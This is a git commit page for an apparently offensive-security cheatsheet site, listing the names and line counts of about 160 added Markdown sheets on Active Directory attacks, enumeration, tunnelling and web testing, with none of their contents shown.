daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

commit 6332a6d352cdf9f19033e04c0409c2db0c8c02a8
parent 4ac8749e910f9ba4598dafeeb47d6b3ef6a0676e
Author: $: DAΞMON <zer0sec.xp@icloud.com>
Date:   Mon, 10 Aug 2026 02:30:45 +0100

🔧 Update [main] | 10 Aug 2026 02:30:45 BST

📊 Stats: +51948 / -10 across 160 file(s)
📁 Breakdown: ➕158  ✏️2  🗑️0  🔀0
👤 Author: $: DAΞMON

📝 Changes:
  ➕ Added     port-vault-decisions.tsv
  ➕ Added     scripts/__pycache__/port-vault.cpython-314.pyc
  ➕ Added     scripts/port-vault.py
  ✏️  Modified  src/components/SearchModal.astro
  ➕ Added     src/content/sheets/active-directory/active-directory-cheat-sheet.md
  ➕ Added     src/content/sheets/active-directory/attack-1-password-spraying.md
  ➕ Added     src/content/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords.md
  ➕ Added     src/content/sheets/active-directory/attack-11-golden-ticket-attack.md
  ➕ Added     src/content/sheets/active-directory/attack-12-silver-ticket-attack.md
  ➕ Added     src/content/sheets/active-directory/attack-13-diamond-ticket-attack.md
  ➕ Added     src/content/sheets/active-directory/attack-14-sapphire-ticket-attack.md
  ➕ Added     src/content/sheets/active-directory/attack-15-unconstrained-delegation-abuse.md
  ➕ Added     src/content/sheets/active-directory/attack-16-constrained-delegation-abuse-s4u2proxy.md
  ➕ Added     src/content/sheets/active-directory/attack-17-resource-based-constrained-delegation-rbcd.md
  ➕ Added     src/content/sheets/active-directory/attack-18-bronze-bit-attack-cve-2020-17049.md
  ➕ Added     src/content/sheets/active-directory/attack-19-genericall-abuse.md
  ➕ Added     src/content/sheets/active-directory/attack-2-kerberoasting.md
  ➕ Added     src/content/sheets/active-directory/attack-20-genericwrite-abuse.md
  ➕ Added     src/content/sheets/active-directory/attack-21-writedacl-abuse.md
  ➕ Added     src/content/sheets/active-directory/attack-22-writeowner-abuse.md
  ➕ Added     src/content/sheets/active-directory/attack-23-forcechangepassword-abuse.md
  ➕ Added     src/content/sheets/active-directory/attack-24-allextendedrights-dcsync-ace-abuse.md
  ➕ Added     src/content/sheets/active-directory/attack-25-shadow-credentials-attack-msds-keycredentiallink.md
  ➕ Added     src/content/sheets/active-directory/attack-26-adminsdholder-persistence-via-acl.md
  ➕ Added     src/content/sheets/active-directory/attack-27-esc1-san-specification-in-template.md
  ➕ Added     src/content/sheets/active-directory/attack-28-esc2-any-purpose-eku-no-eku.md
  ➕ Added     src/content/sheets/active-directory/attack-29-esc3-certificate-request-agent.md
  ➕ Added     src/content/sheets/active-directory/attack-3-as-rep-roasting.md
  ➕ Added     src/content/sheets/active-directory/attack-30-esc4-template-write-permissions.md
  ➕ Added     src/content/sheets/active-directory/attack-31-esc6-editf-attributesubjectaltname2-flag.md
  ➕ Added     src/content/sheets/active-directory/attack-32-esc7-vulnerable-ca-officer-permissions.md
  ➕ Added     src/content/sheets/active-directory/attack-33-esc8-ntlm-relay-to-adcs-http-endpoint.md
  ➕ Added     src/content/sheets/active-directory/attack-34-esc11-ntlm-relay-to-adcs-rpc.md
  ➕ Added     src/content/sheets/active-directory/attack-35-golden-certificate-attack.md
  ➕ Added     src/content/sheets/active-directory/attack-36-certifried-cve-2022-26923.md
  ➕ Added     src/content/sheets/active-directory/attack-37-dcsync-attack.md
  ➕ Added     src/content/sheets/active-directory/attack-38-dcshadow-attack.md
  ➕ Added     src/content/sheets/active-directory/attack-39-ntds-dit-extraction-and-dumping.md
  ➕ Added     src/content/sheets/active-directory/attack-4-pass-the-hash-pth.md
  ➕ Added     src/content/sheets/active-directory/attack-40-zerologon-cve-2020-1472.md
  ➕ Added     src/content/sheets/active-directory/attack-41-petitpotam-cve-2021-36942.md
  ➕ Added     src/content/sheets/active-directory/attack-42-printerbug-spoolsample.md
  ➕ Added     src/content/sheets/active-directory/attack-43-printnightmare-cve-2021-34527.md
  ➕ Added     src/content/sheets/active-directory/attack-44-nopac-sam-the-admin-cve-2021-42278-42287.md
  ➕ Added     src/content/sheets/active-directory/attack-45-token-impersonation-seimpersonateprivilege.md
  ➕ Added     src/content/sheets/active-directory/attack-46-dnsadmins-dll-injection.md
  ➕ Added     src/content/sheets/active-directory/attack-47-machineaccountquota-maq-abuse.md
  ➕ Added     src/content/sheets/active-directory/attack-48-gpp-password-decryption.md
  ➕ Added     src/content/sheets/active-directory/attack-49-abusing-backup-operators-group.md
  ➕ Added     src/content/sheets/active-directory/attack-5-pass-the-ticket-ptt.md
  ➕ Added     src/content/sheets/active-directory/attack-50-abusing-account-operators-group.md
  ➕ Added     src/content/sheets/active-directory/attack-51-abusing-server-operators-group.md
  ➕ Added     src/content/sheets/active-directory/attack-52-abusing-print-operators-group.md
  ➕ Added     src/content/sheets/active-directory/attack-53-exchange-windows-permissions-writedacl-to-dcsync.md
  ➕ Added     src/content/sheets/active-directory/attack-54-psexec-remote-execution-via-smb.md
  ➕ Added     src/content/sheets/active-directory/attack-55-winrm-evil-winrm-lateral-movement.md
  ➕ Added     src/content/sheets/active-directory/attack-56-rdp-lateral-movement-and-hijacking.md
  ➕ Added     src/content/sheets/active-directory/attack-57-dcom-lateral-movement.md
  ➕ Added     src/content/sheets/active-directory/attack-58-wmi-lateral-movement.md
  ➕ Added     src/content/sheets/active-directory/attack-59-scm-service-manager-lateral-movement.md
  ➕ Added     src/content/sheets/active-directory/attack-6-overpass-the-hash-pass-the-key.md
  ➕ Added     src/content/sheets/active-directory/attack-60-token-stealing-and-impersonation.md
  ➕ Added     src/content/sheets/active-directory/attack-61-skeleton-key-attack.md
  ➕ Added     src/content/sheets/active-directory/attack-62-dsrm-backdoor-abuse.md
  ➕ Added     src/content/sheets/active-directory/attack-63-sid-history-injection.md
  ➕ Added     src/content/sheets/active-directory/attack-64-golden-ticket-persistence.md
  ➕ Added     src/content/sheets/active-directory/attack-65-acl-backdooring-persistence-via-dcsync-ace.md
  ➕ Added     src/content/sheets/active-directory/attack-66-malicious-gpo-creation.md
  ➕ Added     src/content/sheets/active-directory/attack-67-adcs-certificate-based-persistence.md
  ➕ Added     src/content/sheets/active-directory/attack-68-cross-domain-trust-abuse-sid-history.md
  ➕ Added     src/content/sheets/active-directory/attack-69-forest-trust-abuse-cross-forest-ticket-forging.md
  ➕ Added     src/content/sheets/active-directory/attack-7-ntlm-relay-attacks.md
  ➕ Added     src/content/sheets/active-directory/attack-70-adcs-cross-domain-enrollment.md
  ➕ Added     src/content/sheets/active-directory/attack-71-pam-trust-abuse-bastion-forest.md
  ➕ Added     src/content/sheets/active-directory/attack-72-laps-password-extraction.md
  ➕ Added     src/content/sheets/active-directory/attack-73-gmsa-password-extraction.md
  ➕ Added     src/content/sheets/active-directory/attack-74-azure-ad-connect-credential-extraction.md
  ➕ Added     src/content/sheets/active-directory/attack-75-sccm-mecm-exploitation.md
  ➕ Added     src/content/sheets/active-directory/attack-76-mssql-server-and-linked-server-abuse.md
  ➕ Added     src/content/sheets/active-directory/attack-77-dfscoerce-ms-dfsnm-coercion.md
  ➕ Added     src/content/sheets/active-directory/attack-78-ad-recycle-bin-object-abuse.md
  ➕ Added     src/content/sheets/active-directory/attack-8-llmnr-nbt-ns-mdns-poisoning.md
  ➕ Added     src/content/sheets/active-directory/attack-9-mitm6-ipv6-dns-spoofing-dhcpv6-takeover.md
  ➕ Added     src/content/sheets/active-directory/attack.md
  ➕ Added     src/content/sheets/active-directory/bloodhound-ce-python.md
  ➕ Added     src/content/sheets/active-directory/bloodhound-python.md
  ➕ Added     src/content/sheets/active-directory/certificate-persistence-certifried-cve-2022-26923.md
  ➕ Added     src/content/sheets/active-directory/certipy-ad.md
  ➕ Added     src/content/sheets/active-directory/dpersist2-rogue-ca-certificate-ntauth-injection.md
  ➕ Added     src/content/sheets/active-directory/dpersist3-malicious-misconfiguration-acl-backdoor.md
  ➕ Added     src/content/sheets/active-directory/esc1-san-specification-in-template.md
  ➕ Added     src/content/sheets/active-directory/esc10-weak-certificate-mapping.md
  ➕ Added     src/content/sheets/active-directory/esc11-ntlm-relay-to-adcs-rpc-icpr.md
  ➕ Added     src/content/sheets/active-directory/esc12-shell-access-to-ca-with-yubihsm.md
  ➕ Added     src/content/sheets/active-directory/esc13-issuance-policy-oid-group-link.md
  ➕ Added     src/content/sheets/active-directory/esc14-weak-explicit-certificate-mapping.md
  ➕ Added     src/content/sheets/active-directory/esc15-ekuwu-cve-2024-49019.md
  ➕ Added     src/content/sheets/active-directory/esc16-security-extension-disabled-on-ca-globally.md
  ➕ Added     src/content/sheets/active-directory/esc17-adcs-certificate-spoofing-to-attack-https-enabled-wsus-clients.md
  ➕ Added     src/content/sheets/active-directory/esc2-any-purpose-eku-no-eku-the-swiss-certificate.md
  ➕ Added     src/content/sheets/active-directory/esc3-misconfigured-enrollment-agent-templates.md
  ➕ Added     src/content/sheets/active-directory/esc4-vulnerable-certificate-template-access-control.md
  ➕ Added     src/content/sheets/active-directory/esc5-vulnerable-pki-object-access-control.md
  ➕ Added     src/content/sheets/active-directory/esc6-editf-attributesubjectaltname2-flag.md
  ➕ Added     src/content/sheets/active-directory/esc7-vulnerable-ca-access-control-manageca-managecertificates.md
  ➕ Added     src/content/sheets/active-directory/esc8-ntlm-relay-to-adcs-http-web-enrollment.md
  ➕ Added     src/content/sheets/active-directory/esc9-no-security-extension-template-level.md
  ➕ Added     src/content/sheets/active-directory/faketime.md
  ➕ Added     src/content/sheets/active-directory/golden-certificate-attack-dpersist1.md
  ➕ Added     src/content/sheets/active-directory/kerberoasting-local-on-host.md
  ➕ Added     src/content/sheets/active-directory/ldap-search.md
  ➕ Added     src/content/sheets/active-directory/ldapdomaindump.md
  ➕ Added     src/content/sheets/active-directory/persist1-active-user-credential-theft-via-certificates.md
  ➕ Added     src/content/sheets/active-directory/persist2-machine-account-persistence-via-certificates.md
  ➕ Added     src/content/sheets/active-directory/persist3-account-persistence-via-certificate-renewal.md
  ➕ Added     src/content/sheets/active-directory/shadow-credentials-msds-keycredentiallink-abuse.md
  ➕ Added     src/content/sheets/active-directory/sharphound.md
  ➕ Added     src/content/sheets/active-directory/theft1-exporting-certificates-and-keys.md
  ➕ Added     src/content/sheets/active-directory/theft2-user-certificate-theft-via-dpapi.md
  ➕ Added     src/content/sheets/active-directory/theft3-machine-certificate-theft-via-dpapi.md
  ➕ Added     src/content/sheets/active-directory/theft4-finding-certificate-files.md
  ➕ Added     src/content/sheets/active-directory/theft5-ntlm-theft-via-pkinit-unpac-the-hash.md
  ➕ Added     src/content/sheets/enumeration/2-4-cheatsheet-gitleaks.md
  ➕ Added     src/content/sheets/enumeration/2-5-cheatsheet-trufflehog.md
  ➕ Added     src/content/sheets/enumeration/anonymous-null-testing.md
  ➕ Added     src/content/sheets/enumeration/awesome-nmap-grep.md
  ➕ Added     src/content/sheets/enumeration/cheatsheet-infrastructure-enumeration-tools-1.md
  ➕ Added     src/content/sheets/enumeration/credential-hunting.md
  ➕ Added     src/content/sheets/enumeration/lfi.md
  ➕ Added     src/content/sheets/enumeration/nikto-nuclei-web-scanner-cheatsheets.md
  ➕ Added     src/content/sheets/enumeration/nse-guide.md
  ➕ Added     src/content/sheets/enumeration/windows-enumeration.md
  ➕ Added     src/content/sheets/exploitation/jailbreak-tty-upgrade.md
  ➕ Added     src/content/sheets/exploitation/sqlmap-cheat-sheet-sql-injection-testing-data-extraction.md
  ➕ Added     src/content/sheets/exploitation/tty-and-escaping-restricted-env.md
  ➕ Added     src/content/sheets/git-workflow/git-complete-branch-vault-management-guide.md
  ➕ Added     src/content/sheets/git-workflow/git-move-existing-edits-to-a-new-branch-railway-site.md
  ➕ Added     src/content/sheets/linux-it/find-command.md
  ➕ Added     src/content/sheets/linux-it/linux-file-directory-search.md
  ➕ Added     src/content/sheets/linux-it/macos-iso-to-usb.md
  ➕ Added     src/content/sheets/linux-it/macos-terminal-tweaks.md
  ➕ Added     src/content/sheets/linux-it/rdp.md
  ➕ Added     src/content/sheets/tools/dd-tool.md
  ➕ Added     src/content/sheets/tools/internet-archival-guide.md
  ➕ Added     src/content/sheets/tools/netexec-spiderplus.md
  ➕ Added     src/content/sheets/tools/pcap-credential-extraction.md
  ➕ Added     src/content/sheets/tools/smbserver-py.md
  ➕ Added     src/content/sheets/tools/smbshare.md
  ➕ Added     src/content/sheets/tools/sponge.md
  ➕ Added     src/content/sheets/tools/tar.md
  ➕ Added     src/content/sheets/tools/username-anarchy.md
  ➕ Added     src/content/sheets/tools/webfuzz.md
  ➕ Added     src/content/sheets/tunneling-pivoting/pivoting-and-tunnelling.md
  ➕ Added     src/content/sheets/tunneling-pivoting/ssh-portfwding-with-metasploit.md
  ➕ Added     src/content/sheets/tunneling-pivoting/tunneling.md
  ➕ Added     src/content/sheets/web/blind-xss-tool-ezxss.md
  ➕ Added     src/content/sheets/web/blind-xss-tool-interactsh.md
  ➕ Added     src/content/sheets/web/blind-xss-tool-xss-hunter.md
  ➕ Added     src/content/sheets/web/phishing-site-link-identification.md
  ✏️  Modified  src/layouts/Base.astro

📈 Line changes per file:
  • port-vault-decisions.tsv                           +225   -0
  • scripts/__pycache__/port-vault.cpython-314.pyc     +-     --
  • scripts/port-vault.py                              +392   -0
  • src/components/SearchModal.astro                   +12    -2
  • src/content/sheets/active-directory/active-directory-cheat-sheet.md +1378  -0
  • src/content/sheets/active-directory/attack-1-password-spraying.md +403   -0
  • src/content/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords.md +611   -0
  • src/content/sheets/active-directory/attack-11-golden-ticket-attack.md +418   -0
  • src/content/sheets/active-directory/attack-12-silver-ticket-attack.md +439   -0
  • src/content/sheets/active-directory/attack-13-diamond-ticket-attack.md +181   -0
  • src/content/sheets/active-directory/attack-14-sapphire-ticket-attack.md +154   -0
  • src/content/sheets/active-directory/attack-15-unconstrained-delegation-abuse.md +197   -0
  • src/content/sheets/active-directory/attack-16-constrained-delegation-abuse-s4u2proxy.md +193   -0
  • src/content/sheets/active-directory/attack-17-resource-based-constrained-delegation-rbcd.md +215   -0
  • src/content/sheets/active-directory/attack-18-bronze-bit-attack-cve-2020-17049.md +144   -0
  • src/content/sheets/active-directory/attack-19-genericall-abuse.md +335   -0
  • src/content/sheets/active-directory/attack-2-kerberoasting.md +435   -0
  • src/content/sheets/active-directory/attack-20-genericwrite-abuse.md +168   -0
  • src/content/sheets/active-directory/attack-21-writedacl-abuse.md +160   -0
  • src/content/sheets/active-directory/attack-22-writeowner-abuse.md +120   -0
  • src/content/sheets/active-directory/attack-23-forcechangepassword-abuse.md +109   -0
  • src/content/sheets/active-directory/attack-24-allextendedrights-dcsync-ace-abuse.md +103   -0
  • src/content/sheets/active-directory/attack-25-shadow-credentials-attack-msds-keycredentiallink.md +173   -0
  • src/content/sheets/active-directory/attack-26-adminsdholder-persistence-via-acl.md +190   -0
  • src/content/sheets/active-directory/attack-27-esc1-san-specification-in-template.md +328   -0
  • src/content/sheets/active-directory/attack-28-esc2-any-purpose-eku-no-eku.md +110   -0
  • src/content/sheets/active-directory/attack-29-esc3-certificate-request-agent.md +87    -0
  • src/content/sheets/active-directory/attack-3-as-rep-roasting.md +415   -0
  • src/content/sheets/active-directory/attack-30-esc4-template-write-permissions.md +120   -0
  • src/content/sheets/active-directory/attack-31-esc6-editf-attributesubjectaltname2-flag.md +93    -0
  • src/content/sheets/active-directory/attack-32-esc7-vulnerable-ca-officer-permissions.md +120   -0
  • src/content/sheets/active-directory/attack-33-esc8-ntlm-relay-to-adcs-http-endpoint.md +135   -0
  • src/content/sheets/active-directory/attack-34-esc11-ntlm-relay-to-adcs-rpc.md +80    -0
  • src/content/sheets/active-directory/attack-35-golden-certificate-attack.md +135   -0
  • src/content/sheets/active-directory/attack-36-certifried-cve-2022-26923.md +102   -0
  • src/content/sheets/active-directory/attack-37-dcsync-attack.md +735   -0
  • src/content/sheets/active-directory/attack-38-dcshadow-attack.md +417   -0
  • src/content/sheets/active-directory/attack-39-ntds-dit-extraction-and-dumping.md +457   -0
  • src/content/sheets/active-directory/attack-4-pass-the-hash-pth.md +463   -0
  • src/content/sheets/active-directory/attack-40-zerologon-cve-2020-1472.md +380   -0
  • src/content/sheets/active-directory/attack-41-petitpotam-cve-2021-36942.md +405   -0
  • src/content/sheets/active-directory/attack-42-printerbug-spoolsample.md +389   -0
  • src/content/sheets/active-directory/attack-43-printnightmare-cve-2021-34527.md +390   -0
  • src/content/sheets/active-directory/attack-44-nopac-sam-the-admin-cve-2021-42278-42287.md +423   -0
  • src/content/sheets/active-directory/attack-45-token-impersonation-seimpersonateprivilege.md +328   -0
  • src/content/sheets/active-directory/attack-46-dnsadmins-dll-injection.md +82    -0
  • src/content/sheets/active-directory/attack-47-machineaccountquota-maq-abuse.md +81    -0
  • src/content/sheets/active-directory/attack-48-gpp-password-decryption.md +78    -0
  • src/content/sheets/active-directory/attack-49-abusing-backup-operators-group.md +92    -0
  • src/content/sheets/active-directory/attack-5-pass-the-ticket-ptt.md +467   -0
  • src/content/sheets/active-directory/attack-50-abusing-account-operators-group.md +76    -0
  • src/content/sheets/active-directory/attack-51-abusing-server-operators-group.md +71    -0
  • src/content/sheets/active-directory/attack-52-abusing-print-operators-group.md +69    -0
  • src/content/sheets/active-directory/attack-53-exchange-windows-permissions-writedacl-to-dcsync.md +83    -0
  • src/content/sheets/active-directory/attack-54-psexec-remote-execution-via-smb.md +320   -0
  • src/content/sheets/active-directory/attack-55-winrm-evil-winrm-lateral-movement.md +65    -0
  • src/content/sheets/active-directory/attack-56-rdp-lateral-movement-and-hijacking.md +76    -0
  • src/content/sheets/active-directory/attack-57-dcom-lateral-movement.md +65    -0
  • src/content/sheets/active-directory/attack-58-wmi-lateral-movement.md +64    -0
  • src/content/sheets/active-directory/attack-59-scm-service-manager-lateral-movement.md +65    -0
  • src/content/sheets/active-directory/attack-6-overpass-the-hash-pass-the-key.md +451   -0
  • src/content/sheets/active-directory/attack-60-token-stealing-and-impersonation.md +90    -0
  • src/content/sheets/active-directory/attack-61-skeleton-key-attack.md +88    -0
  • src/content/sheets/active-directory/attack-62-dsrm-backdoor-abuse.md +82    -0
  • src/content/sheets/active-directory/attack-63-sid-history-injection.md +78    -0
  • src/content/sheets/active-directory/attack-64-golden-ticket-persistence.md +77    -0
  • src/content/sheets/active-directory/attack-65-acl-backdooring-persistence-via-dcsync-ace.md +81    -0
  • src/content/sheets/active-directory/attack-66-malicious-gpo-creation.md +82    -0
  • src/content/sheets/active-directory/attack-67-adcs-certificate-based-persistence.md +82    -0
  • src/content/sheets/active-directory/attack-68-cross-domain-trust-abuse-sid-history.md +90    -0
  • src/content/sheets/active-directory/attack-69-forest-trust-abuse-cross-forest-ticket-forging.md +87    -0
  • src/content/sheets/active-directory/attack-7-ntlm-relay-attacks.md +526   -0
  • src/content/sheets/active-directory/attack-70-adcs-cross-domain-enrollment.md +70    -0
  • src/content/sheets/active-directory/attack-71-pam-trust-abuse-bastion-forest.md +79    -0
  • src/content/sheets/active-directory/attack-72-laps-password-extraction.md +84    -0
  • src/content/sheets/active-directory/attack-73-gmsa-password-extraction.md +84    -0
  • src/content/sheets/active-directory/attack-74-azure-ad-connect-credential-extraction.md +79    -0
  • src/content/sheets/active-directory/attack-75-sccm-mecm-exploitation.md +82    -0
  • src/content/sheets/active-directory/attack-76-mssql-server-and-linked-server-abuse.md +109   -0
  • src/content/sheets/active-directory/attack-77-dfscoerce-ms-dfsnm-coercion.md +71    -0
  • src/content/sheets/active-directory/attack-78-ad-recycle-bin-object-abuse.md +99    -0
  • src/content/sheets/active-directory/attack-8-llmnr-nbt-ns-mdns-poisoning.md +514   -0
  • src/content/sheets/active-directory/attack-9-mitm6-ipv6-dns-spoofing-dhcpv6-takeover.md +517   -0
  • src/content/sheets/active-directory/attack.md      +11    -0
  • src/content/sheets/active-directory/bloodhound-ce-python.md +239   -0
  • src/content/sheets/active-directory/bloodhound-python.md +804   -0
  • src/content/sheets/active-directory/certificate-persistence-certifried-cve-2022-26923.md +415   -0
  • src/content/sheets/active-directory/certipy-ad.md  +703   -0
  • src/content/sheets/active-directory/dpersist2-rogue-ca-certificate-ntauth-injection.md +117   -0
  • src/content/sheets/active-directory/dpersist3-malicious-misconfiguration-acl-backdoor.md +102   -0
  • src/content/sheets/active-directory/esc1-san-specification-in-template.md +308   -0
  • src/content/sheets/active-directory/esc10-weak-certificate-mapping.md +222   -0
  • src/content/sheets/active-directory/esc11-ntlm-relay-to-adcs-rpc-icpr.md +375   -0
  • src/content/sheets/active-directory/esc12-shell-access-to-ca-with-yubihsm.md +196   -0
  • src/content/sheets/active-directory/esc13-issuance-policy-oid-group-link.md +231   -0
  • src/content/sheets/active-directory/esc14-weak-explicit-certificate-mapping.md +254   -0
  • src/content/sheets/active-directory/esc15-ekuwu-cve-2024-49019.md +282   -0
  • src/content/sheets/active-directory/esc16-security-extension-disabled-on-ca-globally.md +283   -0
  • src/content/sheets/active-directory/esc17-adcs-certificate-spoofing-to-attack-https-enabled-wsus-clients.md +275   -0
  • src/content/sheets/active-directory/esc2-any-purpose-eku-no-eku-the-swiss-certificate.md +287   -0
  • src/content/sheets/active-directory/esc3-misconfigured-enrollment-agent-templates.md +333   -0
  • src/content/sheets/active-directory/esc4-vulnerable-certificate-template-access-control.md +342   -0
  • src/content/sheets/active-directory/esc5-vulnerable-pki-object-access-control.md +227   -0
  • src/content/sheets/active-directory/esc6-editf-attributesubjectaltname2-flag.md +333   -0
  • src/content/sheets/active-directory/esc7-vulnerable-ca-access-control-manageca-managecertificates.md +445   -0
  • src/content/sheets/active-directory/esc8-ntlm-relay-to-adcs-http-web-enrollment.md +373   -0
  • src/content/sheets/active-directory/esc9-no-security-extension-template-level.md +495   -0
  • src/content/sheets/active-directory/faketime.md    +223   -0
  • src/content/sheets/active-directory/golden-certificate-attack-dpersist1.md +325   -0
  • src/content/sheets/active-directory/kerberoasting-local-on-host.md +322   -0
  • src/content/sheets/active-directory/ldap-search.md +404   -0
  • src/content/sheets/active-directory/ldapdomaindump.md +573   -0
  • src/content/sheets/active-directory/persist1-active-user-credential-theft-via-certificates.md +92    -0
  • src/content/sheets/active-directory/persist2-machine-account-persistence-via-certificates.md +89    -0
  • src/content/sheets/active-directory/persist3-account-persistence-via-certificate-renewal.md +93    -0
  • src/content/sheets/active-directory/shadow-credentials-msds-keycredentiallink-abuse.md +177   -0
  • src/content/sheets/active-directory/sharphound.md  +680   -0
  • src/content/sheets/active-directory/theft1-exporting-certificates-and-keys.md +124   -0
  • src/content/sheets/active-directory/theft2-user-certificate-theft-via-dpapi.md +111   -0
  • src/content/sheets/active-directory/theft3-machine-certificate-theft-via-dpapi.md +100   -0
  • src/content/sheets/active-directory/theft4-finding-certificate-files.md +111   -0
  • src/content/sheets/active-directory/theft5-ntlm-theft-via-pkinit-unpac-the-hash.md +120   -0
  • src/content/sheets/enumeration/2-4-cheatsheet-gitleaks.md +440   -0
  • src/content/sheets/enumeration/2-5-cheatsheet-trufflehog.md +587   -0
  • src/content/sheets/enumeration/anonymous-null-testing.md +1014  -0
  • src/content/sheets/enumeration/awesome-nmap-grep.md +281   -0
  • src/content/sheets/enumeration/cheatsheet-infrastructure-enumeration-tools-1.md +608   -0
  • src/content/sheets/enumeration/credential-hunting.md +801   -0
  • src/content/sheets/enumeration/lfi.md              +87    -0
  • src/content/sheets/enumeration/nikto-nuclei-web-scanner-cheatsheets.md +942   -0
  • src/content/sheets/enumeration/nse-guide.md        +1536  -0
  • src/content/sheets/enumeration/windows-enumeration.md +559   -0
  • src/content/sheets/exploitation/jailbreak-tty-upgrade.md +2221  -0
  • src/content/sheets/exploitation/sqlmap-cheat-sheet-sql-injection-testing-data-extraction.md +506   -0
  • src/content/sheets/exploitation/tty-and-escaping-restricted-env.md +810   -0
  • src/content/sheets/git-workflow/git-complete-branch-vault-management-guide.md +622   -0
  • src/content/sheets/git-workflow/git-move-existing-edits-to-a-new-branch-railway-site.md +119   -0
  • src/content/sheets/linux-it/find-command.md        +463   -0
  • src/content/sheets/linux-it/linux-file-directory-search.md +812   -0
  • src/content/sheets/linux-it/macos-iso-to-usb.md    +314   -0
  • src/content/sheets/linux-it/macos-terminal-tweaks.md +792   -0
  • src/content/sheets/linux-it/rdp.md                 +304   -0
  • src/content/sheets/tools/dd-tool.md                +646   -0
  • src/content/sheets/tools/internet-archival-guide.md +608   -0
  • src/content/sheets/tools/netexec-spiderplus.md     +566   -0
  • src/content/sheets/tools/pcap-credential-extraction.md +381   -0
  • src/content/sheets/tools/smbserver-py.md           +123   -0
  • src/content/sheets/tools/smbshare.md               +98    -0
  • src/content/sheets/tools/sponge.md                 +485   -0
  • src/content/sheets/tools/tar.md                    +1086  -0
  • src/content/sheets/tools/username-anarchy.md       +11    -0
  • src/content/sheets/tools/webfuzz.md                +266   -0
  • src/content/sheets/tunneling-pivoting/pivoting-and-tunnelling.md +784   -0
  • src/content/sheets/tunneling-pivoting/ssh-portfwding-with-metasploit.md +457   -0
  • src/content/sheets/tunneling-pivoting/tunneling.md +1480  -0
  • src/content/sheets/web/blind-xss-tool-ezxss.md     +393   -0
  • src/content/sheets/web/blind-xss-tool-interactsh.md +449   -0
  • src/content/sheets/web/blind-xss-tool-xss-hunter.md +352   -0
  • src/content/sheets/web/phishing-site-link-identification.md +496   -0
  • src/layouts/Base.astro                             +30    -8

Diffstat:
Aport-vault-decisions.tsv | 225+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ascripts/__pycache__/port-vault.cpython-314.pyc | 0
Ascripts/port-vault.py | 392+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Msrc/components/SearchModal.astro | 14++++++++++++--
Asrc/content/sheets/active-directory/active-directory-cheat-sheet.md | 1378+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-1-password-spraying.md | 403+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords.md | 611+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-11-golden-ticket-attack.md | 418+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-12-silver-ticket-attack.md | 439+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-13-diamond-ticket-attack.md | 181+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-14-sapphire-ticket-attack.md | 154+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-15-unconstrained-delegation-abuse.md | 197+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-16-constrained-delegation-abuse-s4u2proxy.md | 193+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-17-resource-based-constrained-delegation-rbcd.md | 215+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-18-bronze-bit-attack-cve-2020-17049.md | 144+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-19-genericall-abuse.md | 335+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-2-kerberoasting.md | 435+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-20-genericwrite-abuse.md | 168+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-21-writedacl-abuse.md | 160+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-22-writeowner-abuse.md | 120+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-23-forcechangepassword-abuse.md | 109+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-24-allextendedrights-dcsync-ace-abuse.md | 103+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-25-shadow-credentials-attack-msds-keycredentiallink.md | 173+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-26-adminsdholder-persistence-via-acl.md | 190+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-27-esc1-san-specification-in-template.md | 328+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-28-esc2-any-purpose-eku-no-eku.md | 110+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-29-esc3-certificate-request-agent.md | 87+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-3-as-rep-roasting.md | 415+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
